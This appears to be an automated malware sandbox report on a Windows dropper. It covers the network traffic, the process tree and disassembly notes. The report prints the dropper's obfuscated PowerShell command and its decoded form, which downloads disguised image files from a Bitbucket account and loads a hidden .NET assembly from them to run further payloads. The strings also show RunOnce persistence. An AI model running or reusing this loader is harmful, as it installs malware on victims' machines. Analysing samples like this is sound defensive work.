2024-10-02 17:02:43 UTC	3988	IN	HTTP/1.1 404 Not Found Date: Wed, 02 Oct 2024 17:02:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 15020 Server: AtlassianEdge Vary: authorization, cookie, user-context, Accept-Language, Origin, Accept-Encoding X-Used-Mesh: False Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file Etag: "b693a90a4b9b7ba5606827020189b49f" X-Dc-Location: Micros-3 X-Served-By: 3c4d22791762 X-Version: 3ff600212c86 X-Static-Version: 3ff600212c86 X-Request-Count: 394 X-Render-Time: 0.08880853652954102 X-B3-Traceid: 7002740a6d0144de9b07c02da296923c X-B3-Spanid: ab147ab00f9b85bb X-Frame-Options: SAMEORIGIN Content-Security-Policy: connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io *.ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend. [TRUNCATED] X-Usage-Quota-Remaining: 998487.578 X-Usage-Request-Cost: 1537.47 X-Usage-User-Time: 0.041805 X-Usage-System-Time: 0.004319 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Cache-Control: max-age=900 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: 7002740a6d0144de9b07c02da296923c Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Server-Timing: atl-edge;dur=200,atl-edge-internal;dur=2,atl-edge-upstream;dur=198,atl-edge-pop;desc="aws-eu-central-1" Connection: close
2024-10-02 17:02:43 UTC	12396	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 69 64 3d 22 62 62 2d 62 6f 6f 74 73 74 72 61 70 22 20 64 61 74 61 2d 63 75 72 72 65 6e 74 2d 75 73 65 72 3d 22 7b 26 71 75 6f 74 3b 69 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 26 71 75 6f 74 3b 3a 20 66 61 6c 73 65 2c 20 26 71 75 6f 74 3b 69 73 4b 62 64 53 68 6f 72 74 63 75 74 73 45 6e 61 62 6c 65 64 26 71 75 6f 74 3b 3a 20 74 72 75 65 2c 20 26 71 75 6f 74 3b 69 73 53 73 68 45 6e 61 62 6c 65 64 26 71 75 6f 74 3b 3a 20 66 61 6c 73 65 7d 22 0a 0a 20 2f 3e 0a 20 20 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 55 68 44 49 49 4d 47 74 38 46 77 39 4d 64 59 5a 59 48 44 6d 6c 67 3d 3d 22 3e 0a 0a 69 66 20 28 77 69 6e 64 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta id="bb-bootstrap" data-current-user="{"isAuthenticated": false, "isKbdShortcutsEnabled": true, "isSshEnabled": false}" /> <script nonce="UhDIIMGt8Fw9MdYZYHDmlg==">if (wind
2024-10-02 17:02:43 UTC	2624	IN	Data Raw: 69 2d 69 6e 2d 66 72 6f 6e 74 62 75 63 6b 65 74 22 3a 20 74 72 75 65 2c 20 22 70 69 70 65 6c 69 6e 65 73 2d 64 65 70 6c 6f 79 6d 65 6e 74 73 2d 73 65 74 74 69 6e 67 73 2d 75 69 2d 69 6e 2d 66 72 6f 6e 74 62 75 63 6b 65 74 22 3a 20 74 72 75 65 2c 20 22 70 69 70 65 6c 69 6e 65 73 2d 72 75 6e 6e 65 72 73 2d 73 65 74 74 69 6e 67 73 2d 75 69 2d 69 6e 2d 66 72 6f 6e 74 62 75 63 6b 65 74 22 3a 20 74 72 75 65 2c 20 22 70 72 2d 64 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 20 66 61 6c 73 65 2c 20 22 63 6f 6d 6d 69 74 2d 65 78 70 61 6e 64 2d 69 6e 6e 6f 22 3a 20 66 61 6c 73 65 2c 20 22 73 79 6e 74 61 78 2d 68 69 67 68 6c 69 67 68 74 69 6e 67 22 3a 20 66 61 6c 73 65 2c 20 22 63 72 65 61 74 65 2d 77 6f 72 6b 73 70 61 63 65 2d 73 68 6f 77 2d 72 65 63 61 70 74 63 68 61 22 Data Ascii: i-in-frontbucket": true, "pipelines-deployments-settings-ui-in-frontbucket": true, "pipelines-runners-settings-ui-in-frontbucket": true, "pr-dependencies": false, "commit-expand-inno": false, "syntax-highlighting": false, "create-workspace-show-recaptcha"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	185.166.143.50	443	2412	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 17:02:44 UTC	87	OUT	GET /hgdfhdfgd/test/downloads/new_image2.jpg?14461721 HTTP/1.1 Host: bitbucket.org
2024-10-02 17:02:44 UTC	3988	IN	HTTP/1.1 404 Not Found Date: Wed, 02 Oct 2024 17:02:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 15023 Server: AtlassianEdge Vary: authorization, cookie, user-context, Accept-Language, Origin, Accept-Encoding X-Used-Mesh: False Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file Etag: "dcf3f17fb20258bb578342014cdbd4f0" X-Dc-Location: Micros-3 X-Served-By: b49e06def07e X-Version: 3ff600212c86 X-Static-Version: 3ff600212c86 X-Request-Count: 154 X-Render-Time: 0.08371186256408691 X-B3-Traceid: 6e135e3382124723921a6252805b581a X-B3-Spanid: b2a3d0ff1cd02587 X-Frame-Options: SAMEORIGIN Content-Security-Policy: connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io *.ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend. [TRUNCATED] X-Usage-Quota-Remaining: 997292.410 X-Usage-Request-Cost: 1556.20 X-Usage-User-Time: 0.040645 X-Usage-System-Time: 0.006041 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Cache-Control: max-age=900 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: 6e135e3382124723921a6252805b581a Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Server-Timing: atl-edge;dur=192,atl-edge-internal;dur=4,atl-edge-upstream;dur=190,atl-edge-pop;desc="aws-eu-central-1" Connection: close
2024-10-02 17:02:44 UTC	12396	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 69 64 3d 22 62 62 2d 62 6f 6f 74 73 74 72 61 70 22 20 64 61 74 61 2d 63 75 72 72 65 6e 74 2d 75 73 65 72 3d 22 7b 26 71 75 6f 74 3b 69 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 26 71 75 6f 74 3b 3a 20 66 61 6c 73 65 2c 20 26 71 75 6f 74 3b 69 73 4b 62 64 53 68 6f 72 74 63 75 74 73 45 6e 61 62 6c 65 64 26 71 75 6f 74 3b 3a 20 74 72 75 65 2c 20 26 71 75 6f 74 3b 69 73 53 73 68 45 6e 61 62 6c 65 64 26 71 75 6f 74 3b 3a 20 66 61 6c 73 65 7d 22 0a 0a 20 2f 3e 0a 20 20 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 5a 4f 4d 4f 4b 59 69 4d 33 76 34 2f 4d 43 77 74 52 53 65 63 32 77 3d 3d 22 3e 0a 0a 69 66 20 28 77 69 6e 64 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta id="bb-bootstrap" data-current-user="{"isAuthenticated": false, "isKbdShortcutsEnabled": true, "isSshEnabled": false}" /> <script nonce="ZOMOKYiM3v4/MCwtRSec2w==">if (wind
2024-10-02 17:02:44 UTC	2627	IN	Data Raw: 73 2d 75 69 2d 69 6e 2d 66 72 6f 6e 74 62 75 63 6b 65 74 22 3a 20 74 72 75 65 2c 20 22 70 69 70 65 6c 69 6e 65 73 2d 64 65 70 6c 6f 79 6d 65 6e 74 73 2d 73 65 74 74 69 6e 67 73 2d 75 69 2d 69 6e 2d 66 72 6f 6e 74 62 75 63 6b 65 74 22 3a 20 74 72 75 65 2c 20 22 70 69 70 65 6c 69 6e 65 73 2d 72 75 6e 6e 65 72 73 2d 73 65 74 74 69 6e 67 73 2d 75 69 2d 69 6e 2d 66 72 6f 6e 74 62 75 63 6b 65 74 22 3a 20 74 72 75 65 2c 20 22 70 72 2d 64 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 20 66 61 6c 73 65 2c 20 22 63 6f 6d 6d 69 74 2d 65 78 70 61 6e 64 2d 69 6e 6e 6f 22 3a 20 66 61 6c 73 65 2c 20 22 73 79 6e 74 61 78 2d 68 69 67 68 6c 69 67 68 74 69 6e 67 22 3a 20 66 61 6c 73 65 2c 20 22 63 72 65 61 74 65 2d 77 6f 72 6b 73 70 61 63 65 2d 73 68 6f 77 2d 72 65 63 61 70 74 63 Data Ascii: s-ui-in-frontbucket": true, "pipelines-deployments-settings-ui-in-frontbucket": true, "pipelines-runners-settings-ui-in-frontbucket": true, "pr-dependencies": false, "commit-expand-inno": false, "syntax-highlighting": false, "create-workspace-show-recaptc

Target ID:	0
Start time:	13:02:37
Start date:	02/10/2024
Path:	C:\Users\user\Desktop\nTHivMbGpg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\nTHivMbGpg.exe"
Imagebase:	0x7ff6fd210000
File size:	192'512 bytes
MD5 hash:	8D797E4C1866E6542705A564B7FDA527
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:02:37
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c 124.bat
Imagebase:	0x7ff627de0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:02:37
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:02:38
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#H##bgBn#FM#bwBl#G0#LwBz#GQ#YQBv#Gw#bgB3#G8#Z##v#HI#ZwBm#GQ#LwB3#Gc#Z#Bz#C8#ZwBy#G8#LgB0#GU#awBj#HU#YgB0#Gk#Yg#v#C8#OgBz#H##d#B0#Gg#Jw#s#C##Jw#w#Cc#L##g#Cc#UwB0#GE#cgB0#HU#c#BO#GE#bQBl#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:02:40
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.pngSoem/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:02:46
Start date:	02/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\"
Imagebase:	0x7ff7604d0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	25%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	43.1%
Total number of Nodes:	981
Total number of Limit Nodes:	49

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF6FD2141B4 Relevance: 54.6, APIs: 17, Strings: 14, Instructions: 372
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6FD214244
CompareStringA.KERNEL32 ref: 00007FF6FD21430B
GetProcAddress.KERNEL32 ref: 00007FF6FD2144A5

Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215220
Part of subcall function 00007FF6FD2151F8: SizeofResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215231
Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215257
Part of subcall function 00007FF6FD2151F8: LoadResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215268
Part of subcall function 00007FF6FD2151F8: LockResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215277
Part of subcall function 00007FF6FD2151F8: memcpy_s.MSVCRT ref: 00007FF6FD215296
Part of subcall function 00007FF6FD2151F8: FreeResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD2152A5

CompareStringA.KERNEL32 ref: 00007FF6FD214409
FreeLibrary.KERNEL32 ref: 00007FF6FD214580
LocalFree.KERNEL32 ref: 00007FF6FD2145AB
FreeLibrary.KERNEL32 ref: 00007FF6FD2145CE
LocalFree.KERNEL32 ref: 00007FF6FD2145DD

Strings

RUNPROGRAM, xrefs: 00007FF6FD21433A
advpack.dll, xrefs: 00007FF6FD214674
<None>, xrefs: 00007FF6FD2142ED, 00007FF6FD2143EB
POSTRUNPROGRAM, xrefs: 00007FF6FD2143CA
124, xrefs: 00007FF6FD2144C4
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6FD2144DC, 00007FF6FD2147AE
REBOOT, xrefs: 00007FF6FD214213
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF6FD2147C4
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF6FD214700
DoInfInstall, xrefs: 00007FF6FD21449B, 00007FF6FD214621
SHOWWINDOW, xrefs: 00007FF6FD214268
USRQCMD, xrefs: 00007FF6FD2142D3
ADMQCMD, xrefs: 00007FF6FD2142C2
wextract_cleanup0, xrefs: 00007FF6FD214731, 00007FF6FD2147F4

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Resource$Free$CompareFindLibraryLocalString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: 124$<None>$ADMQCMD$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$Software\Microsoft\Windows\CurrentVersion\RunOnce$USRQCMD$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 2679723528-2787484224
Opcode ID: effdab913d68b8f5cb6356f1f4624d08c697481126c570b33e8394dce573185e
Instruction ID: b5c7e3400dee5e06f1c13ab6e52c1bb56151e6abc0a8c524d994a4f49ef11cf5
Opcode Fuzzy Hash: effdab913d68b8f5cb6356f1f4624d08c697481126c570b33e8394dce573185e
Instruction Fuzzy Hash: B1025F75A0868296E7209B14EA406B977A0FB88748F548135DB6DC36D4FF3EF546C7C0

Function 00007FF6FD211D10 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 182
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6FD211D52
memset.MSVCRT ref: 00007FF6FD211D60
RegCreateKeyExA.KERNELBASE ref: 00007FF6FD211DA2
RegQueryValueExA.KERNELBASE ref: 00007FF6FD211DF7
RegCloseKey.ADVAPI32 ref: 00007FF6FD211E14
GetSystemDirectoryA.KERNEL32 ref: 00007FF6FD211E32
LoadLibraryA.KERNELBASE ref: 00007FF6FD211E54
GetProcAddress.KERNEL32 ref: 00007FF6FD211E76
FreeLibrary.KERNELBASE ref: 00007FF6FD211E8F
GetSystemDirectoryA.KERNEL32 ref: 00007FF6FD211EAB
LocalAlloc.KERNEL32 ref: 00007FF6FD211F07
GetModuleFileNameA.KERNEL32 ref: 00007FF6FD211F4A
RegCloseKey.ADVAPI32 ref: 00007FF6FD211F63
RegSetValueExA.KERNELBASE ref: 00007FF6FD211FD3
